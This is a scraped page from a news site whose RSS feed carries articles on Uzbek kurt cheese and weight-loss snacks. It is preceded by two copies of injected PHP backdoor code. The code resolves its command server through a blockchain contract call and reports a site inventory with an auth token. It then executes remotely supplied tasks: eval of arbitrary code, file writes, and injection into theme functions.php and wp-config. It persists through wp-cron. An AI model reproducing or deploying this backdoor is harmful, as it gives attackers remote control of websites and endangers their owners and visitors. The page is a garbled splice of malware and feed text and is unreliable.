// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
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	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
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		<title>These Tasty Uzbek Cheese Balls Can Last for Years</title>
		<link>https://briefnews.eu/these-tasty-uzbek-cheese-balls-can-last-for-years/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Tue, 06 Nov 2018 10:39:08 +0000</pubDate>
				<category><![CDATA[World]]></category>
		<category><![CDATA[Balls]]></category>
		<category><![CDATA[cheese]]></category>
		<category><![CDATA[last]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[these]]></category>
		<category><![CDATA[Uzbek]]></category>
		<category><![CDATA[year's]]></category>
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					<description><![CDATA[Beer pong. It&#8217;s a simple game of tossing pingpong balls into cups &#8212; a drinking game that involves beer and, hopefully, food. But what if your postgame snacks could be the balls? Mind blown, right? Meet Uzbekistan kurt, small spheres of tangy, salty cheese. The cheese itself isn&#8217;t special &#8212; it&#8217;s made traditionally, from cow&#8217;s [&#8230;]]]></description>
										<content:encoded><![CDATA[<p dir="ltr">Beer pong. It&rsquo;s a simple game of tossing pingpong balls into cups &mdash; a drinking game that involves beer and, hopefully, food. But what if your postgame snacks could <em>be</em> the balls? Mind blown, right? </p>
<p dir="ltr">Meet <a target="_blank" href="https://www.ozy.com/topic/uzbekistan" target="_blank">Uzbekistan</a> kurt, small spheres of tangy, salty cheese. The cheese itself isn&rsquo;t special &mdash; it&rsquo;s made traditionally, from cow&rsquo;s milk. But the balls are another story. They&rsquo;re so condensed that you might not break through one even when biting into it. And the spheres are made to last for years (yes, years), and in hot temperatures.</p>
<p dir="ltr">Beer pairs well with kurt, cutting through its salty aftertaste, but the snack was not created as a bar food. Its story begins centuries ago. The climate in Central Asia is very hot and dry, and with 110 degrees Fahrenheit as a typical summer temperature, there is no chance of storing milk for any length of time. The way kurt is made, it won&rsquo;t spoil. It was an essential staple for nomads, shepherds and Silk Road caravans, providing a long-lasting, healthy and high-calorie food for lengthy journeys. How long? Kurt can stay fresh for seven to eight years. And it&rsquo;s versatile too. Popping a few balls into a soup, for example, gives the base a milky, velvety texture.</p>
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<p dir="ltr">There are no secret ingredients &mdash; &ldquo;just milk and salt,&rdquo; says Kholida-opa, who has sold kurt for more than 20 years in Chorsu, the oldest market in Tashkent. Milk is left at room temperature until it is clabbered (soured or curdled). Over the course of two days, the clabber is filtered to separate the whey. Salt is added to the clabber, which is then rolled between wet palms into small spheres. The balls are left to <a target="_blank" href="https://www.ozy.com/good-sht/check-out-this-roadside-thai-chicken-grilled-only-by-the-sun/79117" target="_blank">dry in the sun</a> for three to five days. That&rsquo;s it &mdash; the kurt is ready to eat.</p>
<p dir="ltr">There are only two simple rules when making kurt, Kholida says: The more salt you add, the saltier it will be, and the longer you dry it, the harder it will be (and the harder the cheese, the longer it will last &mdash; but it will also be tougher to bite into). It also helps to start with fresh milk and to filter the clabber carefully. </p>
<p dir="ltr">Those unfamiliar with kurt might be skeptical because of its unusual look. But once you taste it, you just might find yourself addicted. And good news: It&rsquo;s relatively cheap to buy (2 pounds cost around $  5) and typically available at any market in Uzbekistan. Just look for the older Uzbek women selling kurt from <a target="_blank" href="https://www.ozy.com/good-sht/the-10-best-street-food-dishes-from-around-the-world/80847" target="_blank">stalls</a>. You can order it plain, with pepper or basil, or smoked. For kids it&rsquo;s a pocket-size snack to nibble on the go, while adults like to enjoy kurt with beer (note: Uzbeks do not play beer pong with it). You can also add kurt to a glass of soda for a cool, creamy drink or eat it with salads.</p>
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<div class="picture"><img decoding="async" alt="Kholida opa, seller and her grandson" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8c98a__129636_kholidaopasellerandhergrandson.jpg" data-image-tablet="768xany" data-image-large="940xany"></div>
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<p dir="ltr">And whether you eat it or play with it (or both), it&rsquo;s hard not to see the playful side of these versatile <a target="_blank" href="https://www.ozy.com/good-sht/the-best-way-to-say-cheese-in-the-andes/85787" target="_blank">cheese</a> balls. For one, there&rsquo;s an urban legend about how kurt is made: that some kurt-makers roll the spheres in their &hellip; um &hellip; armpits. (However, there is no evidence to support this.) And the potentially extraterrestrial origin of kurt is explored in the YouTube video below.</p>
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<p><iframe width="560" height="315" src="https://www.youtube.com/embed/sBk2sYUILS4?wmode=transparent" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen>[embedded content]</iframe>
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		<title>Tasty and Healthy Weight Loss Snacks to Reach Your Goals Fast</title>
		<link>https://briefnews.eu/tasty-and-healthy-weight-loss-snacks-to-reach-your-goals-fast/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Thu, 16 Aug 2018 16:44:41 +0000</pubDate>
				<category><![CDATA[Life & Style]]></category>
		<category><![CDATA[fast]]></category>
		<category><![CDATA[goals]]></category>
		<category><![CDATA[healthy]]></category>
		<category><![CDATA[loss]]></category>
		<category><![CDATA[reach]]></category>
		<category><![CDATA[snacks]]></category>
		<category><![CDATA[Tasty]]></category>
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					<description><![CDATA[The decision to become healthier by way of weight loss is a struggle for many people. We have been told most of our lives that healthy food choices mean giving up the food and snacks that make us happy or we will be unable to achieve weight loss success.The truth is, healthy snacking can aid [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>The decision to become healthier by way of weight loss is a struggle for many people. We have been told most of our lives that healthy food choices mean giving up the food and snacks that make us happy or we will be unable to achieve weight loss success.The truth is, healthy snacking can aid you in losing weight! If the right choices are made, you can enjoy snacking and still lose weight!This article will guide you through identifying healthy and flavorful weight loss snacks that will contribute to your weight loss goal.</p>
<h2>How can healthy snacking help you lose weight?</h2>
<p>If you make smart choices, healthy snacking can be the thing that aids you in your weight loss journey.Keep in mind that balance is everything. Too much snacking or the wrong kind of snacking can back fire. We will get into that soon.Rachel Morris, an author with <em>Women’s Day Magazine</em>, wrote about 4 women that mastered the art of snacking in between meals and still achieved their weight loss goals.((Women&#8217;s Day Magazine: <a target="_blank" href="https://www.womansday.com/health-fitness/womens-health/advice/g1583/live-longer-stronger-2014-participants/?slide=2">Meet the 2014 Live Longer &amp; Stronger Challenge Participants</a>)) These women have proved that healthy snacking and weight loss are a dynamic duo.Not only do you not have to give up snacks, you can eat the snacks that you actually love.</p>
<h2>Mindfulness, snacking, and weight Loss</h2>
<p>The importance of mindful eating is massive. Rachel Zimmerman, an R.D. at Indiana University Hospital at IU Health states the following:</p>
<blockquote><p>&#8220;Just because snack foods like dark chocolate, nut butters, and avocado have earned nutritional kudos for being good sources of heart-healthy fats and other nutrients, that doesn’t mean you should eat a ton of them.&#8221;</p></blockquote>
<p>The most important step is mindfulness. The key to getting started is being mindful when making snack choices. For a guide to mindful eating, please take a look my other article:<strong><a target="_blank" href="https://www.lifehack.org/788855/mindful-eating">The Best Benefits of Mindful Eating for Weight Loss and How to Start Now</a></strong>Mindfulness isn’t something that is taught to us. It is something that you seek to learn and incorporate in your day to day living. Many of us don’t know the truth about food and the role that food plays in our lives and in our health. This creates unhealthy habits.Food is usually used as a substance for pleasure instead of nourishment. We devour most things in front of us without being mindful and aware about what we are actually consuming:((Carla Naumburg: <a target="_blank" href="http://carlanaumburg.com/2016/11/488/">A Mindful S.N.A.C.K</a>))<a target="_blank" href="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__mindful-snacking.jpg"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-799393" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/adb5e__mindful-snacking.jpg" alt="" width="1032" height="1032" /></a></p>
<h2>Tips for getting started with healthy snacking and weight loss</h2>
<p>So how to get started with healthy snacking while reaching your weight loss goals? Here&#8217;re some tips for you:</p>
<ul>
<li><strong>Set your goal.</strong> Before getting started, you have to know what you want. What is the goal? How many pounds per week? How many pounds total?</li>
<li><strong>Set a deadline.</strong> What date/season are you wanting to have the weight off? It is important to set a target date so that you are focused.</li>
<li><strong>Practice mindfulness. </strong>Mindful eating is about eating mindfully. It is about being fully aware of what you are experiencing; your cravings and physical cues. Eating for purpose and not boredom or pleasure is key for your goals.</li>
<li><strong>Mind your plates.</strong> Use smaller plates so that you are not loading a large plate. If you load a small plate, you are still controling your portions but enjoying a plate full of food.</li>
